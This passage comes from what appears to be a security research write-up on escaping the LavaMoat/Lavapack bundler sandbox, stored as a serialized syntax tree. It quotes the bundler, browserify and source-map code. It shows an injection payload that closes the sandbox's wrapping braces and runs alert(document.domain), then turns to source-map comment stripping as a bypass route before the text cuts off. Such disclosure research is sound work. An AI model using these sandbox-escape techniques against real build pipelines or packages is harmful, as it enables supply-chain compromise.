scuttleOpts",{"type":20,"tag":315,"props":45999,"children":46000},{"style":328},[46001],{"type":26,"value":61},{"type":20,"tag":315,"props":46003,"children":46004},{"style":345},[46005],{"type":26,"value":46006},"scuttlerFunc",{"type":20,"tag":315,"props":46008,"children":46009},{"style":328},[46010],{"type":26,"value":1049},{"type":20,"tag":315,"props":46012,"children":46013},{"style":635},[46014],{"type":26,"value":46015},"globalRef",{"type":20,"tag":315,"props":46017,"children":46018},{"style":328},[46019],{"type":26,"value":44},{"type":20,"tag":315,"props":46021,"children":46022},{"style":635},[46023],{"type":26,"value":46024},"realm",{"type":20,"tag":315,"props":46026,"children":46027},{"style":541},[46028],{"type":26,"value":26169},{"type":20,"tag":315,"props":46030,"children":46031},{"style":345},[46032],{"type":26,"value":46033}," performScuttleGlobalThis",{"type":20,"tag":315,"props":46035,"children":46036},{"style":328},[46037],{"type":26,"value":1049},{"type":20,"tag":315,"props":46039,"children":46040},{"style":635},[46041],{"type":26,"value":46024},{"type":20,"tag":315,"props":46043,"children":46044},{"style":328},[46045],{"type":26,"value":44},{"type":20,"tag":315,"props":46047,"children":46048},{"style":635},[46049],{"type":26,"value":45860},{"type":20,"tag":315,"props":46051,"children":46052},{"style":328},[46053],{"type":26,"value":61},{"type":20,"tag":315,"props":46055,"children":46056},{"style":635},[46057],{"type":26,"value":45919},{"type":20,"tag":315,"props":46059,"children":46060},{"style":328},[46061],{"type":26,"value":18116},{"type":20,"tag":315,"props":46063,"children":46064},{"class":317,"line":407},[46065],{"type":20,"tag":315,"props":46066,"children":46067},{"style":328},[46068],{"type":26,"value":1736},{"type":20,"tag":29,"props":46070,"children":46071},{},[46072,46074,46080,46082,46088],{"type":26,"value":46073},"Subsequently, the code defines a ",{"type":20,"tag":35,"props":46075,"children":46078},{"href":46076,"rel":46077},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[39],[46079],{"type":26,"value":615},{"type":26,"value":46081}," called ",{"type":20,"tag":119,"props":46083,"children":46085},{"className":46084},[],[46086],{"type":26,"value":46087},"generateScuttleOpts",{"type":26,"value":46089}," that creates and returns an options object.",{"type":20,"tag":29,"props":46091,"children":46092},{},[46093,46095,46101,46102,46108,46110,46115,46117,46123],{"type":26,"value":46094},"Finally, the ",{"type":20,"tag":119,"props":46096,"children":46098},{"className":46097},[],[46099],{"type":26,"value":46100},"performScuttleGlobalThis",{"type":26,"value":4852},{"type":20,"tag":35,"props":46103,"children":46106},{"href":46104,"rel":46105},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[39],[46107],{"type":26,"value":615},{"type":26,"value":46109}," modifies the properties of the global object (",{"type":20,"tag":119,"props":46111,"children":46113},{"className":46112},[],[46114],{"type":26,"value":46015},{"type":26,"value":46116},"). It starts by creating an array ",{"type":20,"tag":119,"props":46118,"children":46120},{"className":46119},[],[46121],{"type":26,"value":46122},"props",{"type":26,"value":46124},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":20,"tag":21,"props":46126,"children":46128},{"id":46127},"hacking-webpacks",[46129],{"type":26,"value":46130},"Hacking Webpacks",{"type":20,"tag":29,"props":46132,"children":46133},{},[46134],{"type":26,"value":46135},"Now let's get to the fun stuff.",{"type":20,"tag":29,"props":46137,"children":46138},{},[46139],{"type":26,"value":46140},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":20,"tag":305,"props":46142,"children":46144},{"className":29779,"code":46143,"language":29781,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[46145],{"type":20,"tag":119,"props":46146,"children":46147},{"__ignoreMap":7},[46148,46200,46212,46232,46249,46257,46265,46273,46281,46302,46310,46318,46326,46333,46340,46347],{"type":20,"tag":315,"props":46149,"children":46150},{"class":317,"line":318},[46151,46155,46160,46164,46169,46173,46178,46182,46187,46191,46196],{"type":20,"tag":315,"props":46152,"children":46153},{"style":541},[46154],{"type":26,"value":34604},{"type":20,"tag":315,"props":46156,"children":46157},{"style":635},[46158],{"type":26,"value":46159}," filename",{"type":20,"tag":315,"props":46161,"children":46162},{"style":334},[46163],{"type":26,"value":1395},{"type":20,"tag":315,"props":46165,"children":46166},{"style":345},[46167],{"type":26,"value":46168}," encodeURI",{"type":20,"tag":315,"props":46170,"children":46171},{"style":328},[46172],{"type":26,"value":1049},{"type":20,"tag":315,"props":46174,"children":46175},{"style":345},[46176],{"type":26,"value":46177},"String",{"type":20,"tag":315,"props":46179,"children":46180},{"style":328},[46181],{"type":26,"value":1049},{"type":20,"tag":315,"props":46183,"children":46184},{"style":635},[46185],{"type":26,"value":46186},"moduleData",{"type":20,"tag":315,"props":46188,"children":46189},{"style":328},[46190],{"type":26,"value":61},{"type":20,"tag":315,"props":46192,"children":46193},{"style":635},[46194],{"type":26,"value":46195},"file",{"type":20,"tag":315,"props":46197,"children":46198},{"style":328},[46199],{"type":26,"value":18116},{"type":20,"tag":315,"props":46201,"children":46202},{"class":317,"line":356},[46203,46207],{"type":20,"tag":315,"props":46204,"children":46205},{"style":541},[46206],{"type":26,"value":6251},{"type":20,"tag":315,"props":46208,"children":46209},{"style":635},[46210],{"type":26,"value":46211}," moduleWrapperSource\n",{"type":20,"tag":315,"props":46213,"children":46214},{"class":317,"line":365},[46215,46219,46223,46228],{"type":20,"tag":315,"props":46216,"children":46217},{"style":525},[46218],{"type":26,"value":29809},{"type":20,"tag":315,"props":46220,"children":46221},{"style":328},[46222],{"type":26,"value":463},{"type":20,"tag":315,"props":46224,"children":46225},{"style":635},[46226],{"type":26,"value":46227},"bundleWithPrecompiledModules",{"type":20,"tag":315,"props":46229,"children":46230},{"style":328},[46231],{"type":26,"value":549},{"type":20,"tag":315,"props":46233,"children":46234},{"class":317,"line":374},[46235,46240,46244],{"type":20,"tag":315,"props":46236,"children":46237},{"style":635},[46238],{"type":26,"value":46239}," moduleWrapperSource",{"type":20,"tag":315,"props":46241,"children":46242},{"style":334},[46243],{"type":26,"value":1395},{"type":20,"tag":315,"props":46245,"children":46246},{"style":2652},[46247],{"type":26,"value":46248}," `function(){\n",{"type":20,"tag":315,"props":46250,"children":46251},{"class":317,"line":383},[46252],{"type":20,"tag":315,"props":46253,"children":46254},{"style":2652},[46255],{"type":26,"value":46256}," with (this.scopeTerminator) {\n",{"type":20,"tag":315,"props":46258,"children":46259},{"class":317,"line":407},[46260],{"type":20,"tag":315,"props":46261,"children":46262},{"style":2652},[46263],{"type":26,"value":46264}," with (this.globalThis) {\n",{"type":20,"tag":315,"props":46266,"children":46267},{"class":317,"line":421},[46268],{"type":20,"tag":315,"props":46269,"children":46270},{"style":2652},[46271],{"type":26,"value":46272}," return function() {\n",{"type":20,"tag":315,"props":46274,"children":46275},{"class":317,"line":430},[46276],{"type":20,"tag":315,"props":46277,"children":46278},{"style":2652},[46279],{"type":26,"value":46280}," 'use strict';\n",{"type":20,"tag":315,"props":46282,"children":46283},{"class":317,"line":453},[46284,46289,46293,46298],{"type":20,"tag":315,"props":46285,"children":46286},{"style":2652},[46287],{"type":26,"value":46288}," // source: ",{"type":20,"tag":315,"props":46290,"children":46291},{"style":541},[46292],{"type":26,"value":32523},{"type":20,"tag":315,"props":46294,"children":46295},{"style":635},[46296],{"type":26,"value":46297},"filename",{"type":20,"tag":315,"props":46299,"children":46300},{"style":541},[46301],{"type":26,"value":577},{"type":20,"tag":315,"props":46303,"children":46304},{"class":317,"line":486},[46305],{"type":20,"tag":315,"props":46306,"children":46307},{"style":2652},[46308],{"type":26,"value":46309}," return function (require, module, exports) {\n",{"type":20,"tag":315,"props":46311,"children":46312},{"class":317,"line":499},[46313],{"type":20,"tag":315,"props":46314,"children":46315},{"style":2652},[46316],{"type":26,"value":46317}," __MODULE_CONTENT__\n",{"type":20,"tag":315,"props":46319,"children":46320},{"class":317,"line":513},[46321],{"type":20,"tag":315,"props":46322,"children":46323},{"style":2652},[46324],{"type":26,"value":46325}," };\n",{"type":20,"tag":315,"props":46327,"children":46328},{"class":317,"line":521},[46329],{"type":20,"tag":315,"props":46330,"children":46331},{"style":2652},[46332],{"type":26,"value":7098},{"type":20,"tag":315,"props":46334,"children":46335},{"class":317,"line":552},[46336],{"type":20,"tag":315,"props":46337,"children":46338},{"style":2652},[46339],{"type":26,"value":1728},{"type":20,"tag":315,"props":46341,"children":46342},{"class":317,"line":571},[46343],{"type":20,"tag":315,"props":46344,"children":46345},{"style":2652},[46346],{"type":26,"value":11064},{"type":20,"tag":315,"props":46348,"children":46349},{"class":317,"line":2031},[46350],{"type":20,"tag":315,"props":46351,"children":46352},{"style":2652},[46353],{"type":26,"value":46354}," }`\n",{"type":20,"tag":29,"props":46356,"children":46357},{},[46358,46360,46366,46368,46374],{"type":26,"value":46359},"Lavapack uses ",{"type":20,"tag":119,"props":46361,"children":46363},{"className":46362},[],[46364],{"type":26,"value":46365},"with()",{"type":26,"value":46367}," proxies to restrict the objects accessible by the module, and ",{"type":20,"tag":119,"props":46369,"children":46371},{"className":46370},[],[46372],{"type":26,"value":46373},"__MODULE_CONTENT__",{"type":26,"value":46375}," is replaced by the content of a file required by the project being built.",{"type":20,"tag":219,"props":46377,"children":46379},{"id":46378},"injection-not-so-simple",[46380],{"type":26,"value":46381},"Injection? Not So Simple",{"type":20,"tag":29,"props":46383,"children":46384},{},[46385,46387,46392],{"type":26,"value":46386},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":20,"tag":119,"props":46388,"children":46390},{"className":46389},[],[46391],{"type":26,"value":11051},{"type":26,"value":46393}," environment:",{"type":20,"tag":305,"props":46395,"children":46397},{"className":29779,"code":46396,"language":29781,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[46398],{"type":20,"tag":119,"props":46399,"children":46400},{"__ignoreMap":7},[46401,46414,46426,46438,46450,46457],{"type":20,"tag":315,"props":46402,"children":46403},{"class":317,"line":318},[46404,46409],{"type":20,"tag":315,"props":46405,"children":46406},{"style":328},[46407],{"type":26,"value":46408}," } ",{"type":20,"tag":315,"props":46410,"children":46411},{"style":1071},[46412],{"type":26,"value":46413},"// end function 1\n",{"type":20,"tag":315,"props":46415,"children":46416},{"class":317,"line":356},[46417,46421],{"type":20,"tag":315,"props":46418,"children":46419},{"style":328},[46420],{"type":26,"value":29883},{"type":20,"tag":315,"props":46422,"children":46423},{"style":1071},[46424],{"type":26,"value":46425},"// end function 2\n",{"type":20,"tag":315,"props":46427,"children":46428},{"class":317,"line":365},[46429,46433],{"type":20,"tag":315,"props":46430,"children":46431},{"style":328},[46432],{"type":26,"value":34618},{"type":20,"tag":315,"props":46434,"children":46435},{"style":1071},[46436],{"type":26,"value":46437},"// end with 1\n",{"type":20,"tag":315,"props":46439,"children":46440},{"class":317,"line":374},[46441,46445],{"type":20,"tag":315,"props":46442,"children":46443},{"style":328},[46444],{"type":26,"value":1082},{"type":20,"tag":315,"props":46446,"children":46447},{"style":1071},[46448],{"type":26,"value":46449},"// end with 2\n",{"type":20,"tag":315,"props":46451,"children":46452},{"class":317,"line":383},[46453],{"type":20,"tag":315,"props":46454,"children":46455},{"emptyLinePlaceholder":15},[46456],{"type":26,"value":427},{"type":20,"tag":315,"props":46458,"children":46459},{"class":317,"line":407},[46460,46464,46468,46472,46476,46480],{"type":20,"tag":315,"props":46461,"children":46462},{"style":345},[46463],{"type":26,"value":31111},{"type":20,"tag":315,"props":46465,"children":46466},{"style":328},[46467],{"type":26,"value":1049},{"type":20,"tag":315,"props":46469,"children":46470},{"style":635},[46471],{"type":26,"value":31121},{"type":20,"tag":315,"props":46473,"children":46474},{"style":328},[46475],{"type":26,"value":61},{"type":20,"tag":315,"props":46477,"children":46478},{"style":635},[46479],{"type":26,"value":31131},{"type":20,"tag":315,"props":46481,"children":46482},{"style":328},[46483],{"type":26,"value":380},{"type":20,"tag":29,"props":46485,"children":46486},{},[46487,46489,46495,46497,46504],{"type":26,"value":46488},"However, when we tried to bundle it, a ",{"type":20,"tag":119,"props":46490,"children":46492},{"className":46491},[],[46493],{"type":26,"value":46494},"ParseError",{"type":26,"value":46496}," was thrown. This is because Lavapack is a plugin of ",{"type":20,"tag":35,"props":46498,"children":46501},{"href":46499,"rel":46500},"https://github.com/browserify/browserify",[39],[46502],{"type":26,"value":46503},"browserify",{"type":26,"value":46505},", which has a syntax check before replacing the code.",{"type":20,"tag":29,"props":46507,"children":46508},{},[46509,46511,46517,46519,46525,46527,46533,46535,46540],{"type":26,"value":46510},"Looking deeper into browserify, we find it has a ",{"type":20,"tag":119,"props":46512,"children":46514},{"className":46513},[],[46515],{"type":26,"value":46516},"syntax",{"type":26,"value":46518}," stage on it's pipeline, and uses the ",{"type":20,"tag":119,"props":46520,"children":46522},{"className":46521},[],[46523],{"type":26,"value":46524},"syntax-error",{"type":26,"value":46526}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":20,"tag":119,"props":46528,"children":46530},{"className":46529},[],[46531],{"type":26,"value":46532},"pack",{"type":26,"value":46534}," stage on browserify pipeline, which comes after the ",{"type":20,"tag":119,"props":46536,"children":46538},{"className":46537},[],[46539],{"type":26,"value":46516},{"type":26,"value":46541},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":20,"tag":29,"props":46543,"children":46544},{},[46545],{"type":20,"tag":2308,"props":46546,"children":46549},{"alt":46547,"src":46548},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":20,"tag":29,"props":46551,"children":46552},{},[46553,46554,46559,46561,46566],{"type":26,"value":15015},{"type":20,"tag":119,"props":46555,"children":46557},{"className":46556},[],[46558],{"type":26,"value":46524},{"type":26,"value":46560}," package performs a syntax check by using ",{"type":20,"tag":119,"props":46562,"children":46564},{"className":46563},[],[46565],{"type":26,"value":35964},{"type":26,"value":46567}," with function hoisting:",{"type":20,"tag":305,"props":46569,"children":46571},{"className":29779,"code":46570,"language":29781,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[46572],{"type":20,"tag":119,"props":46573,"children":46574},{"__ignoreMap":7},[46575,46587,46637,46648,46655,46676,46717,46777,46818],{"type":20,"tag":315,"props":46576,"children":46577},{"class":317,"line":318},[46578,46583],{"type":20,"tag":315,"props":46579,"children":46580},{"style":525},[46581],{"type":26,"value":46582},"try",{"type":20,"tag":315,"props":46584,"children":46585},{"style":328},[46586],{"type":26,"value":1092},{"type":20,"tag":315,"props":46588,"children":46589},{"class":317,"line":356},[46590,46595,46599,46604,46608,46613,46617,46622,46628,46633],{"type":20,"tag":315,"props":46591,"children":46592},{"style":345},[46593],{"type":26,"value":46594}," eval",{"type":20,"tag":315,"props":46596,"children":46597},{"style":328},[46598],{"type":26,"value":1049},{"type":20,"tag":315,"props":46600,"children":46601},{"style":2652},[46602],{"type":26,"value":46603},"'throw \"STOP\"; (function () { '",{"type":20,"tag":315,"props":46605,"children":46606},{"style":334},[46607],{"type":26,"value":7301},{"type":20,"tag":315,"props":46609,"children":46610},{"style":635},[46611],{"type":26,"value":46612}," src",{"type":20,"tag":315,"props":46614,"children":46615},{"style":334},[46616],{"type":26,"value":7301},{"type":20,"tag":315,"props":46618,"children":46619},{"style":2652},[46620],{"type":26,"value":46621}," '",{"type":20,"tag":315,"props":46623,"children":46625},{"style":46624},"--shiki-default:#D7BA7D",[46626],{"type":26,"value":46627},"\\n",{"type":20,"tag":315,"props":46629,"children":46630},{"style":2652},[46631],{"type":26,"value":46632},"})()'",{"type":20,"tag":315,"props":46634,"children":46635},{"style":328},[46636],{"type":26,"value":2214},{"type":20,"tag":315,"props":46638,"children":46639},{"class":317,"line":365},[46640,46644],{"type":20,"tag":315,"props":46641,"children":46642},{"style":525},[46643],{"type":26,"value":731},{"type":20,"tag":315,"props":46645,"children":46646},{"style":328},[46647],{"type":26,"value":1405},{"type":20,"tag":315,"props":46649,"children":46650},{"class":317,"line":374},[46651],{"type":20,"tag":315,"props":46652,"children":46653},{"style":328},[46654],{"type":26,"value":577},{"type":20,"tag":315,"props":46656,"children":46657},{"class":317,"line":383},[46658,46663,46667,46672],{"type":20,"tag":315,"props":46659,"children":46660},{"style":525},[46661],{"type":26,"value":46662},"catch",{"type":20,"tag":315,"props":46664,"children":46665},{"style":328},[46666],{"type":26,"value":463},{"type":20,"tag":315,"props":46668,"children":46669},{"style":635},[46670],{"type":26,"value":46671},"err",{"type":20,"tag":315,"props":46673,"children":46674},{"style":328},[46675],{"type":26,"value":549},{"type":20,"tag":315,"props":46677,"children":46678},{"class":317,"line":407},[46679,46683,46687,46691,46695,46700,46704,46709,46713],{"type":20,"tag":315,"props":46680,"children":46681},{"style":525},[46682],{"type":26,"value":10680},{"type":20,"tag":315,"props":46684,"children":46685},{"style":328},[46686],{"type":26,"value":463},{"type":20,"tag":315,"props":46688,"children":46689},{"style":635},[46690],{"type":26,"value":46671},{"type":20,"tag":315,"props":46692,"children":46693},{"style":334},[46694],{"type":26,"value":29837},{"type":20,"tag":315,"props":46696,"children":46697},{"style":2652},[46698],{"type":26,"value":46699}," 'STOP'",{"type":20,"tag":315,"props":46701,"children":46702},{"style":328},[46703],{"type":26,"value":1468},{"type":20,"tag":315,"props":46705,"children":46706},{"style":525},[46707],{"type":26,"value":46708},"return",{"type":20,"tag":315,"props":46710,"children":46711},{"style":541},[46712],{"type":26,"value":37754},{"type":20,"tag":315,"props":46714,"children":46715},{"style":328},[46716],{"type":26,"value":1405},{"type":20,"tag":315,"props":46718,"children":46719},{"class":317,"line":421},[46720,46724,46728,46732,46736,46741,46745,46750,46755,46760,46764,46768,46773],{"type":20,"tag":315,"props":46721,"children":46722},{"style":525},[46723],{"type":26,"value":10680},{"type":20,"tag":315,"props":46725,"children":46726},{"style":328},[46727],{"type":26,"value":463},{"type":20,"tag":315,"props":46729,"children":46730},{"style":635},[46731],{"type":26,"value":46671},{"type":20,"tag":315,"props":46733,"children":46734},{"style":328},[46735],{"type":26,"value":61},{"type":20,"tag":315,"props":46737,"children":46738},{"style":635},[46739],{"type":26,"value":46740},"constructor",{"type":20,"tag":315,"props":46742,"children":46743},{"style":328},[46744],{"type":26,"value":61},{"type":20,"tag":315,"props":46746,"children":46747},{"style":635},[46748],{"type":26,"value":46749},"name",{"type":20,"tag":315,"props":46751,"children":46752},{"style":334},[46753],{"type":26,"value":46754}," !==",{"type":20,"tag":315,"props":46756,"children":46757},{"style":2652},[46758],{"type":26,"value":46759}," 'SyntaxError'",{"type":20,"tag":315,"props":46761,"children":46762},{"style":328},[46763],{"type":26,"value":1468},{"type":20,"tag":315,"props":46765,"children":46766},{"style":525},[46767],{"type":26,"value":46708},{"type":20,"tag":315,"props":46769,"children":46770},{"style":635},[46771],{"type":26,"value":46772}," err",{"type":20,"tag":315,"props":46774,"children":46775},{"style":328},[46776],{"type":26,"value":1405},{"type":20,"tag":315,"props":46778,"children":46779},{"class":317,"line":430},[46780,46784,46789,46793,46797,46801,46805,46809,46814],{"type":20,"tag":315,"props":46781,"children":46782},{"style":525},[46783],{"type":26,"value":731},{"type":20,"tag":315,"props":46785,"children":46786},{"style":345},[46787],{"type":26,"value":46788}," errorInfo",{"type":20,"tag":315,"props":46790,"children":46791},{"style":328},[46792],{"type":26,"value":1049},{"type":20,"tag":315,"props":46794,"children":46795},{"style":635},[46796],{"type":26,"value":31083},{"type":20,"tag":315,"props":46798,"children":46799},{"style":328},[46800],{"type":26,"value":44},{"type":20,"tag":315,"props":46802,"children":46803},{"style":635},[46804],{"type":26,"value":46195},{"type":20,"tag":315,"props":46806,"children":46807},{"style":328},[46808],{"type":26,"value":44},{"type":20,"tag":315,"props":46810,"children":46811},{"style":635},[46812],{"type":26,"value":46813},"opts",{"type":20,"tag":315,"props":46815,"children":46816},{"style":328},[46817],{"type":26,"value":2214},{"type":20,"tag":315,"props":46819,"children":46820},{"class":317,"line":453},[46821],{"type":20,"tag":315,"props":46822,"children":46823},{"style":328},[46824],{"type":26,"value":577},{"type":20,"tag":29,"props":46826,"children":46827},{},[46828,46830,46834,46836,46842,46844,46849],{"type":26,"value":46829},"Interestingly, it ",{"type":20,"tag":55,"props":46831,"children":46832},{},[46833],{"type":26,"value":2366},{"type":26,"value":46835}," possible to inject a ",{"type":20,"tag":119,"props":46837,"children":46839},{"className":46838},[],[46840],{"type":26,"value":46841},"}); (() => {",{"type":26,"value":46843}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":20,"tag":119,"props":46845,"children":46847},{"className":46846},[],[46848],{"type":26,"value":46365},{"type":26,"value":46850}," sandbox of Lavapack.",{"type":20,"tag":219,"props":46852,"children":46854},{"id":46853},"sourcemap-the-syntax-killer",[46855],{"type":26,"value":46856},"SourceMap: The Syntax Killer",{"type":20,"tag":29,"props":46858,"children":46859},{},[46860,46862,46869],{"type":26,"value":46861},"Lavapack has a feature to extract source maps files from the code using ",{"type":20,"tag":35,"props":46863,"children":46866},{"href":46864,"rel":46865},"https://www.npmjs.com/package/convert-source-map",[39],[46867],{"type":26,"value":46868},"convert-source-map",{"type":26,"value":46870}," npm package:",{"type":20,"tag":305,"props":46872,"children":46874},{"className":29779,"code":46873,"language":29781,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[46875],{"type":20,"tag":119,"props":46876,"children":46877},{"__ignoreMap":7},[46878,46902,46944,46952,46993,47034,47062],{"type":20,"tag":315,"props":46879,"children":46880},{"class":317,"line":318},[46881,46885,46890,46894,46898],{"type":20,"tag":315,"props":46882,"children":46883},{"style":541},[46884],{"type":26,"value":615},{"type":20,"tag":315,"props":46886,"children":46887},{"style":345},[46888],{"type":26,"value":46889}," extractSourceMaps",{"type":20,"tag":315,"props":46891,"children":46892},{"style":328},[46893],{"type":26,"value":1049},{"type":20,"tag":315,"props":46895,"children":46896},{"style":635},[46897],{"type":26,"value":36430},{"type":20,"tag":315,"props":46899,"children":46900},{"style":328},[46901],{"type":26,"value":549},{"type":20,"tag":315,"props":46903,"children":46904},{"class":317,"line":356},[46905,46909,46914,46918,46923,46927,46932,46936,46940],{"type":20,"tag":315,"props":46906,"children":46907},{"style":541},[46908],{"type":26,"value":34604},{"type":20,"tag":315,"props":46910,"children":46911},{"style":635},[46912],{"type":26,"value":46913}," converter",{"type":20,"tag":315,"props":46915,"children":46916},{"style":334},[46917],{"type":26,"value":1395},{"type":20,"tag":315,"props":46919,"children":46920},{"style":635},[46921],{"type":26,"value":46922}," convertSourceMap",{"type":20,"tag":315,"props":46924,"children":46925},{"style":328},[46926],{"type":26,"value":61},{"type":20,"tag":315,"props":46928,"children":46929},{"style":345},[46930],{"type":26,"value":46931},"fromSource",{"type":20,"tag":315,"props":46933,"children":46934},{"style":328},[46935],{"type":26,"value":1049},{"type":20,"tag":315,"props":46937,"children":46938},{"style":635},[46939],{"type":26,"value":36430},{"type":20,"tag":315,"props":46941,"children":46942},{"style":328},[46943],{"type":26,"value":380},{"type":20,"tag":315,"props":46945,"children":46946},{"class":317,"line":365},[46947],{"type":20,"tag":315,"props":46948,"children":46949},{"style":1071},[46950],{"type":26,"value":46951}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":20,"tag":315,"props":46953,"children":46954},{"class":317,"line":374},[46955,46959,46964,46968,46972,46976,46980,46984,46989],{"type":20,"tag":315,"props":46956,"children":46957},{"style":541},[46958],{"type":26,"value":34604},{"type":20,"tag":315,"props":46960,"children":46961},{"style":635},[46962],{"type":26,"value":46963}," maps",{"type":20,"tag":315,"props":46965,"children":46966},{"style":334},[46967],{"type":26,"value":1395},{"type":20,"tag":315,"props":46969,"children":46970},{"style":635},[46971],{"type":26,"value":46913},{"type":20,"tag":315,"props":46973,"children":46974},{"style":334},[46975],{"type":26,"value":12586},{"type":20,"tag":315,"props":46977,"children":46978},{"style":635},[46979],{"type":26,"value":46913},{"type":20,"tag":315,"props":46981,"children":46982},{"style":328},[46983],{"type":26,"value":61},{"type":20,"tag":315,"props":46985,"children":46986},{"style":345},[46987],{"type":26,"value":46988},"toObject",{"type":20,"tag":315,"props":46990,"children":46991},{"style":328},[46992],{"type":26,"value":6131},{"type":20,"tag":315,"props":46994,"children":46995},{"class":317,"line":383},[46996,47000,47005,47009,47013,47017,47022,47026,47030],{"type":20,"tag":315,"props":46997,"children":46998},{"style":541},[46999],{"type":26,"value":34604},{"type":20,"tag":315,"props":47001,"children":47002},{"style":635},[47003],{"type":26,"value":47004}," code",{"type":20,"tag":315,"props":47006,"children":47007},{"style":334},[47008],{"type":26,"value":1395},{"type":20,"tag":315,"props":47010,"children":47011},{"style":635},[47012],{"type":26,"value":46922},{"type":20,"tag":315,"props":47014,"children":47015},{"style":328},[47016],{"type":26,"value":61},{"type":20,"tag":315,"props":47018,"children":47019},{"style":345},[47020],{"type":26,"value":47021},"removeComments",{"type":20,"tag":315,"props":47023,"children":47024},{"style":328},[47025],{"type":26,"value":1049},{"type":20,"tag":315,"props":47027,"children":47028},{"style":635},[47029],{"type":26,"value":36430},{"type":20,"tag":315,"props":47031,"children":47032},{"style":328},[47033],{"type":26,"value":380},{"type":20,"tag":315,"props":47035,"children":47036},{"class":317,"line":407},[47037,47041,47045,47049,47053,47058],{"type":20,"tag":315,"props":47038,"children":47039},{"style":525},[47040],{"type":26,"value":37615},{"type":20,"tag":315,"props":47042,"children":47043},{"style":328},[47044],{"type":26,"value":7985},{"type":20,"tag":315,"props":47046,"children":47047},{"style":635},[47048],{"type":26,"value":119},{"type":20,"tag":315,"props":47050,"children":47051},{"style":328},[47052],{"type":26,"value":44},{"type":20,"tag":315,"props":47054,"children":47055},{"style":635},[47056],{"type":26,"value":47057},"maps",{"type":20,"tag":315,"props":47059,"children":47060},{"style":328},[47061],{"type":26,"value":7995},{"type":20,"tag":315,"props":47063,"children":47064},{"class":317,"line":421},[47065],{"type":20,"tag":315,"props":47066,"children":47067},{"style":328},[47068],{"type":26,"value":577},{"type":20,"tag":29,"props":47070,"children":47071},{},[47072,47074,47079,47081,47086],{"type":26,"value":47073},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":20,"tag":119,"props":47075,"children":47077},{"className":47076},[],[47078],{"type":26,"value":46516},{"type":26,"value":47080}," stage. Reviewing the ",{"type":20,"tag":119,"props":47082,"children":47084},{"className":47083},[],[47085],{"type":26,"value":46868},{"type":26,"value":47087}," code, we can see exactly how this happens.",{"type":20,"tag":305,"props":47089,"children":47091},{"className":29779,"code":47090,"language":29781,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[47092],{"type":20,"tag":119,"props":47093,"children":47094},{"__ignoreMap":7},[47095,47134,47160,47168,47382,47389,47396,47403,47438,47488],{"type":20,"tag":315,"props":47096,"children":47097},{"class":317,"line":318},[47098,47103,47107,47112,47116,47120,47124,47129],{"type":20,"tag":315,"props":47099,"children":47100},{"style":635},[47101],{"type":26,"value":47102},"Object",{"type":20,"tag":315,"props":47104,"children":47105},{"style":328},[47106],{"type":26,"value":61},{"type":20,"tag":315,"props":47108,"children":47109},{"style":345},[47110],{"type":26,"value":47111},"defineProperty",{"type":20,"tag":315,"props":47113,"children":47114},{"style":328},[47115],{"type":26,"value":1049},{"type":20,"tag":315,"props":47117,"children":47118},{"style":322},[47119],{"type":26,"value":36302},{"type":20,"tag":315,"props":47121,"children":47122},{"style":328},[47123],{"type":26,"value":44},{"type":20,"tag":315,"props":47125,"children":47126},{"style":2652},[47127],{"type":26,"value":47128},"'commentRegex'",{"type":20,"tag":315,"props":47130,"children":47131},{"style":328},[47132],{"type":26,"value":47133},", {\n",{"type":20,"tag":315,"props":47135,"children":47136},{"class":317,"line":356},[47137,47142,47146,47150,47155],{"type":20,"tag":315,"props":47138,"children":47139},{"style":345},[47140],{"type":26,"value":47141}," get",{"type":20,"tag":315,"props":47143,"children":47144},{"style":635},[47145],{"type":26,"value":2884},{"type":20,"tag":315,"props":47147,"children":47148},{"style":541},[47149],{"type":26,"value":36630},{"type":20,"tag":315,"props":47151,"children":47152},{"style":345},[47153],{"type":26,"value":47154}," getCommentRegex",{"type":20,"tag":315,"props":47156,"children":47157},{"style":328},[47158],{"type":26,"value":47159}," () {\n",{"type":20,"tag":315,"props":47161,"children":47162},{"class":317,"line":365},[47163],{"type":20,"tag":315,"props":47164,"children":47165},{"style":1071},[47166],{"type":26,"value":47167}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: 